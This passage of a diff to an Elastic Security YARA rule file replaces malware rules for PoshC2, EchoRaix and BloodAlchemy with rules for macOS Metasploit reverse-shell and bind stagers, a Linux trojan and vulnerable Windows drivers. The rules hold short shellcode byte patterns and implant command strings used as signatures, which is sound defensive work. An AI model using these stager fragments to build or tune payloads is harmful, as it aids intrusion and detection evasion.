+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L192-L211"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f01f671b0bf9fa53aa3383c88ba871742f0e55dbdae4278f440ed29f35eb1ca1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c6edc7ae898831e9cc3c92fcdce4cd5b4412de061575e6da2f4e07776e0885f5"
+		fingerprint = "082da76eb8da9315d495b79466366367f19170f93c0a29966858cb92145e38d7"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 04 8B 45 F8 C1 E0 02 01 C2 8B 45 EC 89 02 8D 45 F8 FF 00 8B }
+		$a1 = { 31 DB 83 EB 01 43 53 57 53 B0 5A CD 80 72 43 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Setag_01E2F79B : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_C7B7A90B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Setag (Linux.Trojan.Setag)"
+		description = "Byte sequence based on Metasploit stager reverse_tcp.rb"
 		author = "Elastic Security"
-		id = "01e2f79b-fcbc-41d0-a68b-3a692b893f26"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Setag.yar#L20-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b5e8486174026491341a750f6367959999bbacd3689215f59a62dbb13a45fcc"
-		logic_hash = "1e0336760f364acbbe0e8aec10bc7bfb48ed7e33cde56d8914617664cb93fd9b"
+		id = "c7b7a90b-aaf2-482d-bb95-dee20a75379e"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/osx/x86/reverse_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L213-L232"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d4b1f01bf8434dd69188d2ad0b376fad3a4d9c94ebe74d40f05019baf95b5496"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ea87a6ccf907babdebbbb07b9bc32a5437d0213f1580ea4b4b3f44ce543a5bd"
+		fingerprint = "c4b2711417f5616ca462149882a7f33ce53dd1b8947be62fe0b818c51e4f4b2f"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 0C 8B 45 EC 89 45 FC 8D 55 E8 83 EC 04 8D 45 F8 50 8D 45 FC }
+		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 72 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Poshc2_E2D3881E : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_4Bd6Aaca : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Poshc2 (Windows.Trojan.PoshC2)"
+		description = "Byte sequence based on Metasploit stager x86 bind_tcp.rb"
 		author = "Elastic Security"
-		id = "e2d3881e-d849-4ec8-a560-000a9b29814f"
-		date = "2023-03-29"
-		modified = "2023-04-23"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PoshC2.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7a718a4f74656346bd9a2e29e008705fc2b1c4d167a52bd4f6ff10b3f2cd9395"
-		logic_hash = "4f3e2a9f22826a155a3007193a0f75a5fde6e423734a60f30628ea3bb33d3457"
+		id = "4bd6aaca-f519-4d20-b3af-d376e0322a7e"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/osx/x86/bind_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L234-L253"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "a3de610ced90679f6fa0dcdf7890a64369c774839ea30018a7ef6fe9289d3d17"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "30a9161077a90068acf756dcc2354bd04186f87717e32cccdcacc9521c41ddde"
+		fingerprint = "f4957b565d2b86c79281a0d3b2515b9a0c72f9c9c7b03dae18a3619d7e2fc3dc"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "Sharp_v4_x64.dll"
-		$a2 = "Sharp_v4_x86_dll"
-		$a3 = "Posh_v2_x64_Shellcode" wide
-		$a4 = "Posh_v2_x86_Shellcode" wide
-		$b1 = "kill-implant" wide
-		$b2 = "run-dll-background" wide
-		$b3 = "run-exe-background" wide
-		$b4 = "TVqQAAMAAAAEAAAA"
+		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 0F 82 7D }
 
 	condition:
-		1 of ($a*) and 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Echoraix_Ea9532Df : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_5E5B685F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Echoraix (Linux.Ransomware.EchoRaix)"
+		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "ea9532df-1136-4b11-bf4f-8838074f4e66"
-		date = "2023-07-27"
-		modified = "2024-02-13"
+		id = "5e5b685f-1b6b-4102-b54d-91318e418c6c"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_EchoRaix.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dfe32d97eb48fb2afc295eecfda3196cba5d27ced6217532d119a764071c6297"
-		logic_hash = "4944f5a2632bfe0abebfa6f658ed3f71e4d97efcb428ed0987e2071dfd66e6a9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L255-L273"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cdf0a3c07ef1479b53d49b8f22a9f93adcedeea3b869ef954cc043e54f65c3d0"
+		logic_hash = "003fb4f079b125f37899a2b3cb62d80edd5b3e5ccbed5bc1ea514a4a173d329d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f28b340b99ec2b96ee78da50b3fc455c87dca1e898abf008c16ac192556939c5"
+		fingerprint = "52c41d4fc4d195e702523dd2b65e4078dd967f9c4e4b1c081bc04d88c9e4804f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 43 58 68 64 4B 74 7A 65 42 59 6C 48 65 58 79 5A 52 62 61 30 2F 6E 65 46 7A 34 49 7A 67 53 38 4C 68 75 36 38 5A 75 4C 4C 52 2F 66 67 6E 72 34 79 54 72 5A 54 6B 43 36 31 62 2D 59 6F 6C 49 2F 32 4C 36 66 53 55 46 52 72 55 70 49 34 6D 4E 53 41 4F 62 5F }
+		$a1 = { 00 00 F4 90 90 90 90 55 48 89 E5 48 81 EC 60 20 00 00 89 F8 48 8B 0D 74 23 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Ransomware_Echoraix_Ee0C719A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dnsamp_C31Eebd4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Echoraix (Linux.Ransomware.EchoRaix)"
+		description = "Detects Linux Trojan Dnsamp (Linux.Trojan.Dnsamp)"
 		author = "Elastic Security"
-		id = "ee0c719a-1f04-45ff-9e49-38028b138fd0"
-		date = "2023-07-29"
-		modified = "2024-02-13"
+		id = "c31eebd4-7709-440d-95d1-f9a3071cc5ca"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_EchoRaix.yar#L21-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e711b2d9323582aa390cf34846a2064457ae065c7d2ee1a78f5ed0859b40f9c0"
-		logic_hash = "3ca12ea0f1794935ea570dda83f33d04ffb19b6664cc1c8b1cbeed59ac04a01a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dnsamp.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4b86de97819a49a90961d59f9c3ab9f8e57e19add9fe1237d2a2948b4ff22de6"
+		logic_hash = "b998065eff9f67a1cdf19644a13edb0cef3c619d8b6e16c412d58f5d538e4617"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "073d62ce55b1940774ffadeb5b76343aa49bd0a36cf82d50e2bae44f6049a1e8"
+		fingerprint = "220b656a51b3041ede4ffe8f509657c393ff100c88b401c802079aae5804dacd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87258,30 +91152,29 @@ rule ELASTIC_Linux_Ransomware_Echoraix_Ee0C719A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = { 24 10 89 44 24 68 8B 4C 24 14 8B 54 24 18 85 C9 74 57 74 03 8B }
-		$a2 = { 6D 61 69 6E 2E 43 68 65 63 6B 49 73 52 75 6E 6E 69 6E 67 }
+		$a = { 45 F8 8B 40 14 48 63 D0 48 8D 45 E0 48 8D 70 04 48 8B 45 F8 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Fiddrv_E7875A5A : FILE
+rule ELASTIC_Windows_Vulndriver_Xtier_48Bb4B2C : FILE
 {
 	meta:
-		description = "Detects Intel's R/W MSR driver (fiddrv64.sys)"
+		description = "Name: nscm.sys, Version: 3.1.12.0"
 		author = "Elastic Security"
-		id = "e7875a5a-5a88-4bc3-9cfc-91b446dcc6aa"
-		date = "2023-07-25"
-		modified = "2023-07-25"
+		id = "48bb4b2c-da6c-4e2a-bbbe-75c7a892bdc6"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Vulndriver_FidDrv.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4bf4cced4209c73aa37a9e2bf9ff27d458d8d7201eefa6f6ad4849ee276ad158"
-		logic_hash = "aa1635c651c8364ad2ee93b369dd583fce699001d753e46de013c476d185eef1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_XTier.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0f726d8ce21c0c9e01ebe6b55913c519ad6086bcaec1a89f8308f3effacd435f"
+		logic_hash = "fd6ae610a4d2cbf02aae2302d181d07780e723ac7e61b5aa3fd18ba834160729"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "ed9ef63a9e2434a30f22f679edb99b9104eb4397968d84599c7828102312025e"
-		threat_name = "Windows.VulnDriver.FidDrv"
+		fingerprint = "bd50e4b3d9999d68574903bd9ec144be7456908658639852480418315903da5b"
+		threat_name = "Windows.VulnDriver.XTier"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -87289,280 +91182,244 @@ rule ELASTIC_Windows_Vulndriver_Fiddrv_E7875A5A : FILE
 		os = "windows"
 
 	strings:
-		$subject = { 06 03 55 04 03 [2] 49 6E 74 65 6C 28 52 29 20 50 72 6F 63 65 73 73 6F 72 20 49 64 65 6E 74 69 66 69 63 61 74 69 6F 6E 20 55 74 69 6C 69 74 79 }
-		$read_msr = { 53 55 57 56 52 41 50 0F 32 41 58 41 89 10 5A 89 02 B8 01 00 00 00 5E 5F 5D 5B C3 }
-		$write_msr = { 53 55 57 56 48 8B C2 49 8B D0 0F 30 B8 01 00 00 00 5E 5F 5D 5B C3 }
-		$ioctl_check = { 48 8B 82 B8 00 00 00 8B 48 18 81 E9 84 2A 22 00 0F 84 ?? ?? ?? ?? 83 E9 04 }
-
-	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and all of them
-}
-rule ELASTIC_Windows_Trojan_Bloodalchemy_3793364E : FILE MEMORY
-{
-	meta:
-		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
-		author = "Elastic Security"
-		id = "3793364e-a73c-4cf0-855c-fdcdb2b88386"
-		date = "2023-09-25"
-		modified = "2023-09-25"
-		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BloodAlchemy.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c9f03767b92bb2c44f6b386e1f0a521f1a7a063cf73799844cc3423d4a7de7be"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b4620f360093284ae6f2296b4239227099f58f8f0cfe9f70298c84d6cbe7fa29"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
-
-	strings:
-		$a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }
-		$a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6E 00 73 00 63 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Bloodalchemy_E510798D : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Xtier_8A2F6Dc1 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
+		description = "Name: libnicm.sys, Version: 3.1.12.0"
 		author = "Elastic Security"
-		id = "e510798d-a938-47ba-92e3-0c1bcd3ce9a9"
-		date = "2023-09-25"
-		modified = "2023-09-25"
-		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BloodAlchemy.yar#L22-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7919bb5f19745a1620e6be91622c40083cbd2ddb02905215736a2ed11e9af5c4"
+		id = "8a2f6dc1-82f4-4e87-a4d6-49a36ea4fab8"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_XTier.yar#L23-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "95d50c69cdbf10c9c9d61e64fe864ac91e6f6caa637d128eb20e1d3510e776d3"
+		logic_hash = "90e1efd9d918f15459dd3fabb4737cbdeded66da1d556becca051bdda5867c11"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "151519156e4c6b5395c03f70c77601681f17f86a08db96a622b9489a3df682d6"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "0142537ba2fa5fa44cf89e0f2126da2b18894115c6152e1f3eaeb759951aba26"
+		threat_name = "Windows.VulnDriver.XTier"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }
-		$a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6C 00 69 00 62 00 6E 00 69 00 63 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
 
 	condition:
-		any of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Bloodalchemy_63084Eea : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Xtier_F4760D4A : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
+		description = "Name: NICM.SYS, Version: 3.1.12.0"
 		author = "Elastic Security"
-		id = "63084eea-358b-4fb0-9668-3f40f0aae9e7"
-		date = "2023-09-25"
-		modified = "2023-09-25"
-		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BloodAlchemy.yar#L43-L61"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "3fe64502992281511e942b8f4541d61b33e900dbe23ea9f976c7eb9522ce4cbd"
+		id = "f4760d4a-42da-4bb8-87ff-3b2e709c6a95"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_XTier.yar#L45-L65"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0e14a4401011a9f4e444028ac5b1595da34bbbf9af04a00670f15ff839734003"
+		logic_hash = "dc83771e08b8530bf138782ba8c7724e7ecff40c973407a7f654346302a284d5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "3f6ef0425b846b2126263c590d984bc618ad61de91a9141160c2b804c585ff6d"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "95f3b1f788edb8a6cd121dc44fd1426ff1b29cf3231c6f3f4ec434d288cd8deb"
+		threat_name = "Windows.VulnDriver.XTier"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 49 00 43 00 4D 00 2E 00 53 00 59 00 53 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Bloodalchemy_C2D80609 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Xtier_6A7De49F : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
+		description = "Name: NCPL.SYS, Version: 3.1.12.0"
 		author = "Elastic Security"
-		id = "c2d80609-9a66-4fbb-b594-17d16372cb14"
-		date = "2023-09-25"
-		modified = "2023-09-25"
-		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BloodAlchemy.yar#L63-L81"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "694a0f917f106fbdde4c8e5dd8f9cdce56e9423ce5a7c3a5bf30bf43308d42e9"
+		id = "6a7de49f-1a31-4ce0-b4b1-cdc670bfdf18"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_XTier.yar#L67-L87"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "26c86227d3f387897c1efd77dc711eef748eb90be84149cb306e3d4c45cc71c7"
+		logic_hash = "de0d25377103d50b33a95a804b9c3eb9ef221d56fa1dfda0a32f14dcd95ee4b1"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8815e42ef85ae5a8915cd26b573cd7411c041778cdf4bc99efd45526e3699642"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "fb012fd29d00b1dc06353ebfff62d29cc9d86549d8af10b049213256cbcab09e"
+		threat_name = "Windows.VulnDriver.XTier"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 43 00 50 00 4C 00 2E 00 53 00 59 00 53 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Bloodalchemy_De591C5A : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Atillk_18316Dd9 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
+		description = "Name: atillk64.sys, Version: 5.11.9.0"
 		author = "Elastic Security"
-		id = "de591c5a-95a5-4a23-bc02-7bc487b6ca4b"
-		date = "2023-09-25"
-		modified = "2023-11-02"
-		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BloodAlchemy.yar#L83-L106"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fd5cfe2558a7c02a617003140cdcf477ec451ecea4adf2808bef8f93673c28f1"
+		id = "18316dd9-0a58-4e06-bebd-13f3de45c054"
+		date = "2022-04-04"
+		modified = "2022-04-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Atillk.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
+		logic_hash = "02d218d0a0ea447e4ad0b03bff50c307ca5f36b8ed268787cd73c88a05aa4214"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "6765378490707c5965dc4abd04169d4a94b787be3fccf3b77f1eff5d507090a4"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "74d618e50edf662aae13e7577a02cfc54c5a15045b34acdb2f5714ce8c65a487"
+		threat_name = "Windows.VulnDriver.Atillk"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
